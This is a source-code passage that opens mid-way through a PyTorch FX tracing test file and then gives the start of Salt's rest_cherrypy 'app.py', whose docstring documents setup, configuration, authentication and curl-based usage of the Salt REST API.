torch.rand(3, 4)) self.register_parameter( "my_param", torch.nn.Parameter(torch.rand(3, 4)) ) def forward(self, x): return x + self.my_buff + self.my_param mod = MyModule() mod_traced = symbolic_trace(mod) # Create new GraphModule based on original, either w/ dict or root module. orig_buff = mod_traced.get_buffer("my_buff") orig_param = mod_traced.get_parameter("my_param") mod_traced_new = GraphModule( {"my_buff": orig_buff, "my_param": orig_param} if use_dict_init else mod, mod_traced.graph, ) # Check that both my_buff and my_param are found and the same. try: new_buff = mod_traced_new.get_buffer("my_buff") except Exception: self.fail("Did not find my_buff") self.assertEqual(orig_buff, new_buff) try: new_param = mod_traced_new.get_parameter("my_param") except Exception: self.fail("Did not find my_param") self.assertEqual(orig_param, new_param) x = torch.rand(3, 4) orig_out = mod_traced(x) submodules_out = mod_traced_new(x) self.assertEqual(orig_out, submodules_out) def test_graph_module_init_buffer_param_copied_dict_init(self): self._test_graph_module_init_buffer_param_copied(use_dict_init=True) def test_graph_module_init_buffer_param_copied_mod_init(self): self._test_graph_module_init_buffer_param_copied(use_dict_init=False) def test_annotations_with_no_forward_references(self): class A: def __call__(self, x: torch.Tensor): return torch.add(x, x) class M(torch.nn.Module): def forward(self, x: torch.Tensor, a: A) -> torch.Tensor: return a(x) self.checkGraphModule(M(), (torch.rand(2, 3), A()), kwargs=None) def test_annotations_with_forward_references(self): class A: def __call__(self, x: torch.Tensor): return torch.add(x, x) class M(torch.nn.Module): def forward(self, x: 'torch.Tensor', a: 'A') -> 'torch.Tensor': return a(x) self.checkGraphModule(M(), (torch.rand(2, 3), A()), kwargs=None) def test_annotations_with_non_torch_reference_and_no_internal_forward_references(self): class A: def __call__(self, x: torch.Tensor): return torch.add(x, x) class M(torch.nn.Module): def forward(self, x: List[torch.Tensor], a: A) -> torch.Tensor: return a(x[0]) self.checkGraphModule(M(), (torch.rand(2, 3), A()), kwargs=None) def test_annotations_with_non_torch_reference_and_internal_forward_references(self): class A: def __call__(self, x: torch.Tensor): return torch.add(x, x) class M(torch.nn.Module): def forward(self, x: List['torch.Tensor'], a: A) -> 'torch.Tensor': return a(x)[0] self.checkGraphModule(M(), (torch.rand(2, 3), A()), kwargs=None) @unittest.skipIf(sys.version_info < (3, 7), "`__future__` feature " "`annotations` is not defined in Python <3.7") def test_annotation_with_future(self): try: import fx.test_future # noqa: F401 finally: del sys.modules["__future__"] def test_annotations_empty_tuple(self): class Foo(torch.nn.Module): def forward(self, x: Tuple[()], y: Tuple[str, Tuple[()]]): return "foo" traced = torch.fx.symbolic_trace(Foo()) x = () y = ("bar", ()) traced(x, y) FileCheck().check("_Tuple[()]") \ .check("typing_Tuple[str,typing_Tuple[()]]") \ .run(traced.code) scripted = torch.jit.script(traced) scripted(x, y) FileCheck().check("Tuple[()]") \ .check("Tuple[str, Tuple[()]]") \ .run(scripted.code) @skipIfNoTorchVision def test_cpatcher(self): cnt = 0 def patched_impl(to_patch, args, kwargs): nonlocal cnt cnt += 1 return to_patch(*args, **kwargs) c_patch_enabled = True def patched_in(to_patch, args, kwargs): nonlocal c_patch_enabled try: c_patch_enabled = False r = patched_impl(to_patch, args, kwargs) finally: c_patch_enabled = True return r def trace_func(frame, action, arg): if action == 'c_call': if c_patch_enabled: torch._C._fx.patch_function(arg, patched_in) import torch rn = torchvision_models.resnet18() try: sys.setprofile(trace_func) rn(torch.rand(1, 3, 224, 224)) print("testing print patch") finally: sys.setprofile(None) assert(cnt != 0) def test_randn(self): def f(): return torch.randn(3, 3) fx_f = symbolic_trace(f, enable_cpatching=True) assert(any(i.target == torch.randn for i in fx_f.graph.nodes)) fx_f = symbolic_trace(f, enable_cpatching=False) assert(all(i.target != torch.randn for i in fx_f.graph.nodes)) fx_f = symbolic_trace(f, enable_cpatching=True) assert(any(i.target == torch.randn for i in fx_f.graph.nodes)) def test_pytree(self): def f_sum(x): return sum(x) def f_sum_dict(x): out = 0 for k, v in x.items(): out += v return out def f_dict_list_map(x): new_dict = {} for k, v in x.items(): new_dict[k] = [i + 1 for i in v] return new_dict def f_dict_add(x): return x['a'] + sum(x['z']) pytree._register_pytree_node( Foo, lambda x: ([x.a, x.b], None), lambda x, _: Foo(x[0], x[1]), ) fx_pytree.register_pytree_flatten_spec(Foo, lambda x, _: [x.a, x.b]) def f_custom(x): return x.a + x.b def f_custom_dict(x): return f_sum_dict(x.a) + x.b def f_return_custom(x): return Foo(x.b, x.a) tests = [ (f_sum, [PH, PH, PH]), (f_sum, []), (f_sum_dict, {'a': PH, 'b': PH, 'c': PH}), (f_dict_list_map, {'a': (PH, PH), 'b': [PH], 'c': []}), (f_dict_list_map, {5: (PH, PH, PH)}), (f_dict_add, {'a': PH, 'z': (PH, PH, PH)}), (f_dict_add, {'a': PH, 'z': []}), (f_custom, Foo(PH, PH)), (f_custom, Foo(PH, 3)), (f_custom_dict, Foo({'a': PH, 'b': PH}, PH)), # (f_return_custom, Foo(PH, PH)), # Don't currently support output pytrees ] def verify_pytree(f, inp): val = pytree.tree_map(lambda x: torch.randn(3) if x == PH else x, inp) num_flat_args = len([i == PH for i in pytree.tree_flatten(inp)[0]]) orig_out = f(val) nf = symbolic_trace(f, concrete_args={'x': inp}) self.assertEqual(nf(val), orig_out) assert num_flat_args == 0 or "tree_flatten_spec" in nf.code assert(sum([i.op == 'placeholder' for i in nf.graph.nodes]) == num_flat_args) nf = symbolic_trace(nf) self.assertEqual(nf(val), orig_out) assert "tree_flatten_spec" not in nf.code assert(sum([i.op == 'placeholder' for i in nf.graph.nodes]) == 1) nf = symbolic_trace(nf, concrete_args={'x': inp}) self.assertEqual(nf(val), orig_out) assert num_flat_args == 0 or "tree_flatten_spec" in nf.code assert(sum([i.op == 'placeholder' for i in nf.graph.nodes]) == num_flat_args) pickled = pickle.dumps(nf) nf = pickle.loads(pickled) self.assertEqual(nf(val), orig_out) for f, inp in tests: verify_pytree(f, inp) def test_pytree_concrete(self): def f(b, a): if b: return a['a'] else: return a['z'] inp = {'a': {'a': PH, 'z': PH}, 'b': True} nf = symbolic_trace(f, concrete_args=inp) val = pytree.tree_map(lambda x: torch.randn(3) if x == PH else x, inp) self.assertEqual(nf(**val), f(**val)) nf = symbolic_trace(nf) self.assertEqual(nf(**val), f(**val)) def run_getitem_target(): from torch.fx._symbolic_trace import _wrapped_methods_to_patch _wrapped_methods_to_patch.append((torch.Tensor, "__getitem__")) try: TestFX().getitem_inner() finally: _wrapped_methods_to_patch.pop() class TestOperatorSignatures(JitTestCase): @onlyCPU @ops(op_db, allowed_dtypes=(torch.float,)) def test_get_torch_func_signature_exhaustive(self, device, dtype, op): # Sorted and one entry on each line to minimize merge conflicts. known_no_schema = {'cdist', 'contiguous', 'dstack', 'einsum', 'expand', 'expand_as', 'fill_', 'hstack', 'linalg.multi_dot', 'norm', 'polygamma', 'repeat', 'reshape_as', 'resize_', 'resize_as_', 'stack', 'to_sparse', 'view', 'view_as', 'nn.functional.hardshrink', 'vstack', 'where', 'zero_', '__getitem__', '__radd__', '__rsub__', '__rmul__', '__rdiv__', '__rmod__', '__rpow__', '__rmatmul__'} try: sample_inputs_itr = op.sample_inputs(device, dtype, requires_grad=False) schemas = get_signature_for_torch_op(op.op) if not schemas: raise RuntimeError('No Schemas Returned') for sample_input in sample_inputs_itr: # Iterate through overloads until we hit a match. If we exit this # loop via `else`, we haven't found a match for schema in schemas: try: bound_args = schema.bind(sample_input.input, *sample_input.args, **sample_input.kwargs) bound_args.apply_defaults() op(*bound_args.args, **bound_args.kwargs) break except TypeError as e: pass else: raise RuntimeError(f'Did not match any schemas for op {op.name}!') except Exception as e: assert op.name in known_no_schema or "nn.functional" in op.name class TestFunctionalTracing(JitTestCase): IGNORE_FUNCS = ("has_torch_function", "has_torch_function_unary", "has_torch_function_variadic", "handle_torch_function", "boolean_dispatch") TO_PATCH = {"has_torch_function": None, "has_torch_function_unary": None, "has_torch_function_variadic": None} BUILT_IN_FUNC = (AssertionError, "") PROXY_ITERABLE = (TypeError, r"argument of type 'Proxy' is not iterable") PROXY_ITERATED = (TraceError, r"Proxy object cannot be iterated") LEN_ERROR = (RuntimeError, r"'len' is not supported in symbolic tracing by default") ARG_TYPE_MISMATCH = (TypeError, r", not Proxy$") CONTROL_FLOW = (TraceError, r"symbolically traced variables cannot be used as inputs to control flow") INTERPOLATE_ARGS_CONFLICT = (ValueError, r"only one of size or scale_factor should be defined") UNTRACEABLE_FUNCTIONALS = { "adaptive_avg_pool1d": BUILT_IN_FUNC, "avg_pool1d": BUILT_IN_FUNC, "avg_pool2d": BUILT_IN_FUNC, "avg_pool3d": BUILT_IN_FUNC, "celu_": BUILT_IN_FUNC, "channel_shuffle": BUILT_IN_FUNC, "conv1d": BUILT_IN_FUNC, "conv2d": BUILT_IN_FUNC, "conv3d": BUILT_IN_FUNC, "conv_tbc": BUILT_IN_FUNC, "conv_transpose1d": BUILT_IN_FUNC, "conv_transpose2d": BUILT_IN_FUNC, "conv_transpose3d": BUILT_IN_FUNC, "cosine_similarity": BUILT_IN_FUNC, "elu_": BUILT_IN_FUNC, "hardtanh_": BUILT_IN_FUNC, "leaky_relu_": BUILT_IN_FUNC, "logsigmoid": BUILT_IN_FUNC, "one_hot": BUILT_IN_FUNC, "pdist": BUILT_IN_FUNC, "pixel_shuffle": BUILT_IN_FUNC, "pixel_unshuffle": BUILT_IN_FUNC, "relu_": BUILT_IN_FUNC, "rrelu_": BUILT_IN_FUNC, "selu_": BUILT_IN_FUNC, "softplus": BUILT_IN_FUNC, "softshrink": BUILT_IN_FUNC, "threshold_": BUILT_IN_FUNC, "adaptive_avg_pool2d": LEN_ERROR, "adaptive_avg_pool3d": LEN_ERROR, "adaptive_max_pool2d_with_indices": LEN_ERROR, "adaptive_max_pool3d_with_indices": LEN_ERROR, "instance_norm": CONTROL_FLOW, "pad": LEN_ERROR, "adaptive_max_pool1d": PROXY_ITERABLE, "adaptive_max_pool2d": PROXY_ITERABLE, "adaptive_max_pool3d": PROXY_ITERABLE, "fractional_max_pool2d": PROXY_ITERABLE, "fractional_max_pool3d": PROXY_ITERABLE, "max_pool1d": PROXY_ITERABLE, "max_pool2d": PROXY_ITERABLE, "max_pool3d": PROXY_ITERABLE, "group_norm": PROXY_ITERATED, "lp_pool2d": PROXY_ITERATED, "max_unpool1d": PROXY_ITERATED, "max_unpool2d": PROXY_ITERATED, "max_unpool3d": PROXY_ITERATED, "adaptive_max_pool1d_with_indices": ARG_TYPE_MISMATCH, "fractional_max_pool2d_with_indices": ARG_TYPE_MISMATCH, "fractional_max_pool3d_with_indices": ARG_TYPE_MISMATCH, "hardshrink": ARG_TYPE_MISMATCH, "layer_norm": ARG_TYPE_MISMATCH, "lp_pool1d": ARG_TYPE_MISMATCH, "max_pool1d_with_indices": ARG_TYPE_MISMATCH, "max_pool2d_with_indices": ARG_TYPE_MISMATCH, "max_pool3d_with_indices": ARG_TYPE_MISMATCH, "pairwise_distance": ARG_TYPE_MISMATCH, "affine_grid": CONTROL_FLOW, "alpha_dropout": CONTROL_FLOW, "batch_norm": CONTROL_FLOW, "binary_cross_entropy": CONTROL_FLOW, "binary_cross_entropy_with_logits": CONTROL_FLOW, "celu": CONTROL_FLOW, "cosine_embedding_loss": CONTROL_FLOW, "cross_entropy": CONTROL_FLOW, "ctc_loss": CONTROL_FLOW, "dropout": CONTROL_FLOW, "dropout2d": CONTROL_FLOW, "dropout3d": CONTROL_FLOW, "elu": CONTROL_FLOW, "embedding": CONTROL_FLOW, "embedding_bag": CONTROL_FLOW, "feature_alpha_dropout": CONTROL_FLOW, "fold": CONTROL_FLOW, "gaussian_nll_loss": CONTROL_FLOW, "glu": CONTROL_FLOW, "grid_sample": CONTROL_FLOW, "gumbel_softmax": CONTROL_FLOW, "hardsigmoid": CONTROL_FLOW, "hardswish": CONTROL_FLOW, "hardtanh": CONTROL_FLOW, "hinge_embedding_loss": CONTROL_FLOW, "huber_loss": CONTROL_FLOW, "interpolate": CONTROL_FLOW, "kl_div": CONTROL_FLOW, "l1_loss": CONTROL_FLOW, "leaky_relu": CONTROL_FLOW, "local_response_norm": CONTROL_FLOW, "margin_ranking_loss": CONTROL_FLOW, "mse_loss": CONTROL_FLOW, "multi_head_attention_forward": CONTROL_FLOW, "multi_margin_loss": CONTROL_FLOW, "multilabel_margin_loss": CONTROL_FLOW, "multilabel_soft_margin_loss": CONTROL_FLOW, "nll_loss": CONTROL_FLOW, "poisson_nll_loss": CONTROL_FLOW, "relu": CONTROL_FLOW, "relu6": CONTROL_FLOW, "rrelu": CONTROL_FLOW, "selu": CONTROL_FLOW, "silu": CONTROL_FLOW, "mish": CONTROL_FLOW, "smooth_l1_loss": CONTROL_FLOW, "soft_margin_loss": CONTROL_FLOW, "threshold": CONTROL_FLOW, "triplet_margin_loss": CONTROL_FLOW, "triplet_margin_with_distance_loss": CONTROL_FLOW, "unfold": CONTROL_FLOW, "upsample": CONTROL_FLOW, "upsample_bilinear": INTERPOLATE_ARGS_CONFLICT, "upsample_nearest": INTERPOLATE_ARGS_CONFLICT, } # List of nn.functionals with Tensor inputs but not with type annotation FUNCTIONALS_WITHOUT_ANNOTATION = ( "adaptive_max_pool1d", "adaptive_max_pool2d", "adaptive_max_pool3d", "fractional_max_pool2d", "fractional_max_pool3d", "max_pool1d", "max_pool2d", "max_pool3d", "gaussian_nll_loss", "upsample", "upsample_bilinear", "upsample_nearest", ) # Inconsistent behavior between Python 3.8 and other Python versions: # - Python 3.8+: Re-raise internal exception like `PROXY_ITERATED` # - Other Python: Raise `argument of type 'Proxy' is not iterable` due to the same # internal exception above # Use the following map to override the expected exception for Python 3.8 UNTRACEABLE_FUNCTIONALS_PY38 = { "adaptive_max_pool1d": PROXY_ITERATED, "adaptive_max_pool2d": PROXY_ITERATED, "adaptive_max_pool3d": PROXY_ITERATED, "fractional_max_pool2d": PROXY_ITERATED, "fractional_max_pool3d": PROXY_ITERATED, "max_pool1d": PROXY_ITERATED, "max_pool2d": PROXY_ITERATED, "max_pool3d": PROXY_ITERATED, "group_norm": LEN_ERROR } @classmethod def _get_functional(cls): functional_list = [] for f in dir(torch.nn.functional): if not f.islower(): continue # Ignore internal functions if f.startswith('_'): continue # Ignore supporting functions if f in cls.IGNORE_FUNCS: continue fn = getattr(torch.nn.functional, f) # Ignore non-callable object like modules if not isinstance(fn, Callable): continue if f not in cls.FUNCTIONALS_WITHOUT_ANNOTATION: try: sig = inspect.signature(fn) has_tensor_arg = False for arg, param in sig.parameters.items(): if isinstance(param.annotation, type) and issubclass(param.annotation, torch.Tensor): has_tensor_arg = True if not has_tensor_arg: continue # No signature or Object is not supported except ValueError: pass functional_list.append((f, fn)) return functional_list @classmethod def generate_test_func(cls, func_name, fn): def functional_test(self): if func_name in self.UNTRACEABLE_FUNCTIONALS_PY38 and \ sys.version_info >= (3, 8) and sys.version_info < (3, 10): exc, err = self.UNTRACEABLE_FUNCTIONALS_PY38[func_name] with self.assertRaisesRegex(exc, err): symbolic_trace(fn) elif func_name in self.UNTRACEABLE_FUNCTIONALS: exc, err = self.UNTRACEABLE_FUNCTIONALS[func_name] with self.assertRaisesRegex(exc, err): symbolic_trace(fn) else: symbolic_trace(fn) return functional_test @classmethod def generate_tests(cls): functional_list = cls._get_functional() for func_name, fn in functional_list: test_name = "test_nn_functional_" + func_name functional_test = cls.generate_test_func(func_name, fn) setattr(cls, test_name, functional_test) @classmethod def setUpClass(cls): def no(*args, **kwargs): return False for name in cls.TO_PATCH.keys(): cls.TO_PATCH[name] = getattr(torch.nn.functional, name) setattr(torch.nn.functional, name, no) @classmethod def tearDownClass(cls): for name in cls.TO_PATCH.keys(): setattr(torch.nn.functional, name, cls.TO_PATCH[name]) TestFunctionalTracing.generate_tests() instantiate_device_type_tests(TestOperatorSignatures, globals()) @skipIfNoTorchVision class TestVisionTracing(JitTestCase): PROXY_ITERATED = (TraceError, r"Proxy object cannot be iterated") INCONSISTENT_TYPE = ( RuntimeError, r"Return value was annotated as having type __torch__.torchvision.models[.\w]+ but is actually of type Tensor" ) UNTRACEABLE_MODELS = { "fasterrcnn_resnet50_fpn": PROXY_ITERATED, "fasterrcnn_mobilenet_v3_large_320_fpn": PROXY_ITERATED, "fasterrcnn_mobilenet_v3_large_fpn": PROXY_ITERATED, "maskrcnn_resnet50_fpn": PROXY_ITERATED, "keypointrcnn_resnet50_fpn": PROXY_ITERATED, "retinanet_resnet50_fpn": PROXY_ITERATED, } UNSCRIPTABLE_MODELS = { "googlenet": INCONSISTENT_TYPE, "inception_v3": INCONSISTENT_TYPE, } output_transform = { "fcn_resnet50": lambda x: x["out"], "fcn_resnet101": lambda x: x["out"], "deeplabv3_resnet50": lambda x: x["out"], "deeplabv3_resnet101": lambda x: x["out"], "deeplabv3_mobilenet_v3_large": lambda x: x["out"], "lraspp_mobilenet_v3_large": lambda x: x["out"], "fasterrcnn_resnet50_fpn": lambda x: x[1], "fasterrcnn_mobilenet_v3_large_fpn": lambda x: x[1], "fasterrcnn_mobilenet_v3_large_320_fpn": lambda x: x[1], "maskrcnn_resnet50_fpn": lambda x: x[1], "keypointrcnn_resnet50_fpn": lambda x: x[1], "retinanet_resnet50_fpn": lambda x: x[1], } @classmethod def generate_test_fn(cls, name, model_fn, x, kwargs): def run_test(self): model = model_fn(**kwargs) model = model.eval() if name in self.UNTRACEABLE_MODELS: err, exc = self.UNTRACEABLE_MODELS[name] with self.assertRaisesRegex(err, exc): graph = symbolic_trace(model) else: out_transform = self.output_transform.get(name, lambda x: x) graph : torch.fx.GraphModule = symbolic_trace(model) a = out_transform(model(x)) b = out_transform(graph(x)) self.assertEqual(a, b) if name in self.UNSCRIPTABLE_MODELS: err, exc = self.UNSCRIPTABLE_MODELS[name] with self.assertRaisesRegex(err, exc): script = torch.jit.script(graph) else: script = torch.jit.script(graph) c = out_transform(script(x)) self.assertEqual(a, c) return run_test @classmethod def generate_classification_tests(cls): for k, v in torchvision_models.__dict__.items(): if callable(v) and k[0].lower() == k[0] and k[0] != "_": test_name = 'test_torchvision_models_' + k x = torch.rand(1, 3, 299, 299) if k in ['inception_v3'] else torch.rand(1, 3, 224, 224) kwargs = dict(num_classes=50) model_test = cls.generate_test_fn(k, v, x, kwargs) setattr(cls, test_name, model_test) @classmethod def generate_segmentation_tests(cls): for k, v in torchvision_models.segmentation.__dict__.items(): if callable(v) and k[0].lower() == k[0] and k[0] != "_": test_name = 'test_torchvision_models_segmentation_' + k x = torch.rand(1, 3, 32, 32) kwargs = dict(num_classes=10, pretrained_backbone=False) model_test = cls.generate_test_fn(k, v, x, kwargs) setattr(cls, test_name, model_test) @classmethod def generate_detection_tests(cls): for k, v in torchvision_models.detection.__dict__.items(): if callable(v) and k[0].lower() == k[0] and k[0] != "_": test_name = 'test_torchvision_models_detection_' + k x = [torch.rand(3, 300, 300)] kwargs = dict(num_classes=10, pretrained_backbone=False) model_test = cls.generate_test_fn(k, v, x, kwargs) setattr(cls, test_name, model_test) @classmethod def generate_video_tests(cls): for k, v in torchvision_models.video.__dict__.items(): if callable(v) and k[0].lower() == k[0] and k[0] != "_": test_name = 'test_torchvision_models_video_' + k x = torch.rand(1, 3, 4, 112, 112) kwargs = dict(num_classes=50) model_test = cls.generate_test_fn(k, v, x, kwargs) setattr(cls, test_name, model_test) @classmethod def generate_tests(cls): cls.generate_classification_tests() cls.generate_detection_tests() cls.generate_segmentation_tests() cls.generate_video_tests() if HAS_TORCHVISION: TestVisionTracing.generate_tests() if __name__ == '__main__': run_tests()
app.py
# encoding: utf-8 ''' A REST API for Salt =================== .. py:currentmodule:: salt.netapi.rest_cherrypy.app :depends: - CherryPy Python module. Note: there is a `known SSL traceback for CherryPy versions 3.2.5 through 3.7.x <https://github.com/cherrypy/cherrypy/issues/1298>`_. Please use version 3.2.3 or the latest 10.x version instead. :optdepends: - ws4py Python module for websockets support. :client_libraries: - Java: https://github.com/SUSE/salt-netapi-client - Python: https://github.com/saltstack/pepper :setup: All steps below are performed on the machine running the Salt Master daemon. Configuration goes into the Master configuration file. 1. Install ``salt-api``. (This step varies between OS and Linux distros. Some package systems have a split package, others include salt-api in the main Salt package. Ensure the ``salt-api --version`` output matches the ``salt --version`` output.) 2. Install CherryPy. (Read the version caveat in the section above.) 3. Optional: generate self-signed SSL certificates. Using a secure HTTPS connection is strongly recommended since Salt eauth authentication credentials will be sent over the wire. 1. Install the PyOpenSSL package. 2. Generate a self-signed certificate using the :py:func:`~salt.modules.tls.create_self_signed_cert` execution function. .. code-block:: bash salt-call --local tls.create_self_signed_cert 4. Edit the master config to create at least one external auth user or group following the :ref:`full external auth instructions <acl-eauth>`. 5. Edit the master config with the following production-ready example to enable the ``rest_cherrypy`` module. (Adjust cert paths as needed, or disable SSL (not recommended!).) .. code-block:: yaml rest_cherrypy: port: 8000 ssl_crt: /etc/pki/tls/certs/localhost.crt ssl_key: /etc/pki/tls/certs/localhost.key 6. Restart the ``salt-master`` daemon. 7. Start the ``salt-api`` daemon. :configuration: All available configuration options are detailed below. These settings configure the CherryPy HTTP server and do not apply when using an external server such as Apache or Nginx. port **Required** The port for the webserver to listen on. host : ``0.0.0.0`` The socket interface for the HTTP server to listen on. debug : ``False`` Starts the web server in development mode. It will reload itself when the underlying code is changed and will output more debugging info. log_access_file Path to a file to write HTTP access logs. .. versionadded:: 2016.11.0 log_error_file Path to a file to write HTTP error logs. .. versionadded:: 2016.11.0 ssl_crt The path to a SSL certificate. (See below) ssl_key The path to the private key for your SSL certificate. (See below) ssl_chain (Optional when using PyOpenSSL) the certificate chain to pass to ``Context.load_verify_locations``. disable_ssl A flag to disable SSL. Warning: your Salt authentication credentials will be sent in the clear! webhook_disable_auth : False The :py:class:`Webhook` URL requires authentication by default but external services cannot always be configured to send authentication. See the Webhook documentation for suggestions on securing this interface. webhook_url : /hook Configure the URL endpoint for the :py:class:`Webhook` entry point. thread_pool : ``100`` The number of worker threads to start up in the pool. socket_queue_size : ``30`` Specify the maximum number of HTTP connections to queue. expire_responses : True Whether to check for and kill HTTP responses that have exceeded the default timeout. .. deprecated:: 2016.11.9,2017.7.3,2018.3.0 The "expire_responses" configuration setting, which corresponds to the ``timeout_monitor`` setting in CherryPy, is no longer supported in CherryPy versions >= 12.0.0. max_request_body_size : ``1048576`` Maximum size for the HTTP request body. collect_stats : False Collect and report statistics about the CherryPy server Reports are available via the :py:class:`Stats` URL. stats_disable_auth : False Do not require authentication to access the ``/stats`` endpoint. .. versionadded:: 2018.3.0 static A filesystem path to static HTML/JavaScript/CSS/image assets. static_path : ``/static`` The URL prefix to use when serving static assets out of the directory specified in the ``static`` setting. enable_sessions : ``True`` Enable or disable all endpoints that rely on session cookies. This can be useful to enforce only header-based authentication. .. versionadded:: 2017.7.0 app : ``index.html`` A filesystem path to an HTML file that will be served as a static file. This is useful for bootstrapping a single-page JavaScript app. Warning! If you set this option to a custom web application, anything that uses cookie-based authentication is vulnerable to XSRF attacks. Send the custom ``X-Auth-Token`` header instead and consider disabling the ``enable_sessions`` setting. .. versionchanged:: 2017.7.0 Add a proof-of-concept JavaScript single-page app. app_path : ``/app`` The URL prefix to use for serving the HTML file specified in the ``app`` setting. This should be a simple name containing no slashes. Any path information after the specified path is ignored; this is useful for apps that utilize the HTML5 history API. root_prefix : ``/`` A URL path to the main entry point for the application. This is useful for serving multiple applications from the same URL. .. _rest_cherrypy-auth: Authentication -------------- Authentication is performed by passing a session token with each request. Tokens are generated via the :py:class:`Login` URL. The token may be sent in one of two ways: as a custom header or as a session cookie. The latter is far more convenient for clients that support cookies. * Include a custom header named :mailheader:`X-Auth-Token`. For example, using curl: .. code-block:: bash curl -sSk https://localhost:8000/login \\ -H 'Accept: application/x-yaml' \\ -d username=saltdev \\ -d password=saltdev \\ -d eauth=pam Copy the ``token`` value from the output and include it in subsequent requests: .. code-block:: bash curl -sSk https://localhost:8000 \\ -H 'Accept: application/x-yaml' \\ -H 'X-Auth-Token: 697adbdc8fe971d09ae4c2a3add7248859c87079'\\ -d client=local \\ -d tgt='*' \\ -d fun=test.ping * Sent via a cookie. This option is a convenience for HTTP clients that automatically handle cookie support (such as browsers). For example, using curl: .. code-block:: bash # Write the cookie file: curl -sSk https://localhost:8000/login \\ -c ~/cookies.txt \\ -H 'Accept: application/x-yaml' \\ -d username=saltdev \\ -d password=saltdev \\ -d eauth=auto # Read the cookie file: curl -sSk https://localhost:8000 \\ -b ~/cookies.txt \\ -H 'Accept: application/x-yaml' \\ -d client=local \\ -d tgt='*' \\ -d fun=test.ping Another example using the :program:`requests` library in Python: .. code-block:: python >>> import requests >>> session = requests.Session() >>> session.post('http://localhost:8000/login', json={ 'username': 'saltdev', 'password': 'saltdev', 'eauth': 'auto', }) <Response [200]> >>> resp = session.post('http://localhost:8000', json=[{ 'client': 'local', 'tgt': '*', 'fun': 'test.arg', 'arg': ['foo', 'bar'], 'kwarg': {'baz': 'Baz!'}, }]) >>> resp.json() {u'return': [{ ...snip... }]} .. seealso:: You can bypass the session handling via the :py:class:`Run` URL. Usage ----- This interface directly exposes Salt's :ref:`Python API <python-api>`. Everything possible at the CLI is possible through the Python API. Commands are executed on the Salt Master. The root URL (``/``) is RPC-like in that it accepts instructions in the request body for what Salt functions to execute, and the response contains the result of those function calls. For example: .. code-block:: text % curl -sSi https://localhost:8000 \ -H 'Content-type: application/json' \ -d '[{ "client": "local", "tgt": "*", "fun": "test.ping" }]' HTTP/1.1 200 OK Content-Type: application/json [...snip...] {"return": [{"jerry": true}]} The request body must be an array of commands. Use this workflow to build a command: 1. Choose a client interface. 2. Choose a function. 3. Fill out the remaining parameters needed for the chosen client. The ``client`` field is a reference to the main Python classes used in Salt's Python API. Read the full :ref:`Client APIs <client-apis>` documentation, but in short: * "local" uses :py:class:`LocalClient <salt.client.LocalClient>` which sends commands to Minions. Equivalent to the ``salt`` CLI command. * "runner" uses :py:class:`RunnerClient <salt.runner.RunnerClient>` which invokes runner modules on the Master. Equivalent to the ``salt-run`` CLI command. * "wheel" uses :py:class:`WheelClient <salt.wheel.WheelClient>` which invokes wheel modules on the Master. Wheel modules do not have a direct CLI equivalent but they typically manage Master-side resources such as state files, pillar files, the Salt config files, and the :py:mod:`key wheel module <salt.wheel.key>` exposes similar functionality as the ``salt-key`` CLI command. Most clients have variants like synchronous or asynchronous execution as well as others like batch execution. See the :ref:`full list of client interfaces <client-interfaces>`. Each client requires different arguments and sometimes has different syntax. For example, ``LocalClient`` requires the ``tgt`` argument because it forwards the command to Minions and the other client interfaces do not. ``LocalClient`` also takes ``arg`` (array) and ``kwarg`` (dictionary) arguments because these values are sent to the Minions and used to execute the requested function there. ``RunnerClient`` and ``WheelClient`` are executed directly on the Master and thus do not need or accept those arguments. Read the method signatures in the client documentation linked above, but hopefully an example will help illustrate the concept. This example causes Salt to execute two functions -- the :py:func:`test.arg execution function <salt.modules.test.arg>` using ``LocalClient`` and the :py:func:`test.arg runner function <salt.runners.test.arg>` using ``RunnerClient``; note the different structure for each command. The results for both are combined and returned as one response. .. code-block:: text % curl -b ~/cookies.txt -sSi localhost:8000 \ -H 'Content-type: application/json' \ -d ' [ { "client": "local", "tgt": "*", "fun": "test.arg", "arg": ["positional arg one", "positional arg two"], "kwarg": { "keyword arg one": "Hello from a minion", "keyword arg two": "Hello again from a minion" } }, { "client": "runner", "fun": "test.arg", "keyword arg one": "Hello from a master", "keyword arg two": "Runners do not support positional args" } ] ' HTTP/1.1 200 OK [...snip...] { "return": [ { "jerry": { "args": [ "positional arg one", "positional arg two" ], "kwargs": { "keyword arg one": "Hello from a minion", "keyword arg two": "Hello again from a minion", [...snip...] } }, [...snip; other minion returns here...] }, { "args": [], "kwargs": { "keyword arg two": "Runners do not support positional args", "keyword arg one": "Hello from a master" } } ] } One more example, this time with more commonly used functions: .. code-block:: text curl -b /tmp/cookies.txt -sSi localhost:8000 \ -H 'Content-type: application/json' \ -d ' [ { "client": "local", "tgt": "*", "fun": "state.sls", "kwarg": { "mods": "apache", "pillar": { "lookup": { "wwwdir": "/srv/httpd/htdocs" } } } }, { "client": "runner", "fun": "cloud.create", "provider": "my-ec2-provider", "instances": "my-centos-6", "image": "ami-1624987f", "delvol_on_destroy", true } ] ' HTTP/1.1 200 OK [...snip...] { "return": [ { "jerry": { "pkg_|-install_apache_|-httpd_|-installed": { [...snip full state return here...] } } [...snip other minion returns here...] }, { [...snip full salt-cloud output here...] } ] } Content negotiation ------------------- This REST interface is flexible in what data formats it will accept as well as what formats it will return (e.g., JSON, YAML, urlencoded). * Specify the format of data in the request body by including the :mailheader:`Content-Type` header. * Specify the desired data format for the response body with the :mailheader:`Accept` header. We recommend the JSON format for most HTTP requests. urlencoded data is simple and cannot express complex data structures -- and that is often required for some Salt commands, such as starting a state run that uses Pillar data. Salt's CLI tool can reformat strings passed in at the CLI into complex data structures, and that behavior also works via salt-api, but that can be brittle and since salt-api can accept JSON it is best just to send JSON. Here is an example of sending urlencoded data: .. code-block:: bash curl -sSik https://localhost:8000 \\ -b ~/cookies.txt \\ -d client=runner \\ -d fun='jobs.lookup_jid' \\ -d jid='20150129182456704682' .. admonition:: urlencoded data caveats * Only a single command may be sent per HTTP request. * Repeating the ``arg`` parameter multiple times will cause those parameters to be combined into a single list. Note, some popular frameworks and languages (notably jQuery, PHP, and Ruby on Rails) will automatically append empty brackets onto repeated query string parameters. E.g., ``?foo[]=fooone&foo[]=footwo``. This is **not** supported; send ``?foo=fooone&foo=footwo`` instead, or send JSON or YAML. A note about ``curl`` The ``-d`` flag to curl does *not* automatically urlencode data which can affect passwords and other data that contains characters that must be encoded. Use the ``--data-urlencode`` flag instead. E.g.: .. code-block:: bash curl -ksi http://localhost:8000/login \\ -H "Accept: application/json" \\ -d username='myapiuser' \\ --data-urlencode password='1234+' \\ -d eauth='pam' 